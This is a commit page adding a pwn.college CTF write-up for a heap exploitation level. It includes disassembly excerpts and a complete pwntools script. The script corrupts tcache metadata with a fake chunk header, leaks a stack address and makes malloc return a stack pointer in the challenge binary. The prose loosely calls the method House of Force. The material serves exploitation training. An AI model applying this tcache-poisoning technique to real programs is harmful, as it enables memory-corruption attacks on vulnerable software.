Skip to content

Commit c40a1a1

Browse files
committed
F2-DAMM
1 parent 63876b2 commit c40a1a1

File tree

1 file changed

+146
-0
lines changed

1 file changed

+146
-0
lines changed
Lines changed: 146 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,146 @@
1+
---
2+
layout: post
3+
title: (Dynamic Allocator Misuse) level 12
4+
categories: pwn.college Dynamic-Allocator-Misuse
5+
date: 2025-10-08 08:00:22 +0300
6+
tags: pwn.college PIE ASLR heap house-of-force tecache metadata house-of-spirit
7+
---
8+
## Information
9+
- category: pwn
10+
11+
12+
## Description
13+
> Leverage TCACHE exploits to cause malloc() to return a stack pointer.
14+
15+
## Write-up
16+
17+
**Goal:** leak a stack address, pivot `malloc` to return a pointer into stack memory.
18+
19+
---
20+
21+
### Step 1 — Leak stack address
22+
23+
From reverse engineering, we see this snippet in the binary:
24+
```c
25+
0x00005ef6bebb299e <+1304>: mov edi,0x43
26+
0x00005ef6bebb29a3 <+1309>: call malloc@plt
27+
0x00005ef6bebb29a8 <+1314>: mov QWORD PTR [rbp-0x198],rax
28+
0x00005ef6bebb29af <+1321>: lea rax,[rbp-0x90]
29+
0x00005ef6bebb29b6 <+1328>: add rax,0x40
30+
0x00005ef6bebb29ba <+1332>: cmp QWORD PTR [rbp-0x198],rax
31+
```
32+
33+
This shows malloc returning a pointer close to `rbp-0x90`.
34+
We can abuse this to leak a stack address:
35+
36+
1. `malloc(0x43)` → index 0.
37+
2. `free(0)`.
38+
3. Use `scanf` into chunk 0 to overwrite its header so that `malloc` later returns a pointer inside the stack frame.
39+
40+
Reverse engineering also shows:
41+
42+
```c
43+
0x00005ef6bebb2958 <+1234>: lea rax,[rbp-0x90]
44+
0x00005ef6bebb295f <+1241>: mov rsi,rax
45+
0x00005ef6bebb2962 <+1244>: lea rdi,[rip+0x814] ; scanf format
46+
```
47+
48+
So we can use `scanf` to write directly to `rbp-0x90`.
49+
50+
---
51+
52+
### Step 2 — House of Force to pivot malloc to stack
53+
54+
Technique:
55+
- Padding of `0x30`
56+
- Fake metadata (`prev_size`, `size`) such that the next malloc size will cause allocation into `rbp-0x90 + 0x40`.
57+
58+
Example sequence:
59+
60+
1. `malloc(0x43)`
61+
2. `free(0)`
62+
3. `scanf(0, p64(stackLeak))` → overwrite header to point to `rbp-0x90 + 0x40`
63+
4. `malloc(0, 0x43)` → returns pointer to stack
64+
65+
---
66+
67+
68+
69+
70+
## Exploit
71+
```python
72+
from pwn import *
73+
74+
elf = context.binary = ELF("/challenge/babyheap_level12.1")
75+
context.log_level = "debug"
76+
global p
77+
p = elf.process()
78+
79+
def malloc_stack_win():
80+
p.sendline(b"stack_malloc_win")
81+
82+
def stack_free():
83+
p.sendline(b"stack_free")
84+
85+
def stack_scanf(data):
86+
p.sendline(b"stack_scanf")
87+
p.sendline(data)
88+
89+
def malloc(idx,size):
90+
p.sendline(b"malloc")
91+
p.sendline(idx)
92+
p.sendline(size)
93+
94+
def free(idx):
95+
p.sendline(b"free")
96+
p.sendline(idx)
97+
98+
def scanf(idx,data):
99+
p.sendline(b"scanf")
100+
p.sendline(idx)
101+
p.sendline(data)
102+
103+
def puts(idx):
104+
p.sendline(b"puts")
105+
p.sendline(idx)
106+
107+
def quit():
108+
p.sendline(b"quit")
109+
110+
def exploit():
111+
malloc(b"0",b"32")
112+
113+
payload = b"\x42"*0x30 + p64(0) + p64(0x30)
114+
115+
stack_scanf(payload)
116+
stack_free()
117+
118+
free(b"0")
119+
120+
puts(b"0")
121+
122+
p.recvuntil(b"Data: ")
123+
stack = u64(p.recvline().strip().ljust(8,b"\x00"))
124+
log.success(f"stack: {hex(stack)}")
125+
126+
malloc(b"0",b"67")
127+
malloc(b"1",b"67")
128+
129+
free(b"1")
130+
free(b"0")
131+
132+
scanf(b"0",p64(stack))
133+
134+
malloc(b"0",b"67")
135+
136+
malloc_stack_win()
137+
quit()
138+
139+
p.interactive()
140+
141+
def main():
142+
exploit()
143+
144+
if __name__ == "__main__":
145+
main()
146+
```

0 commit comments

Comments
 (0)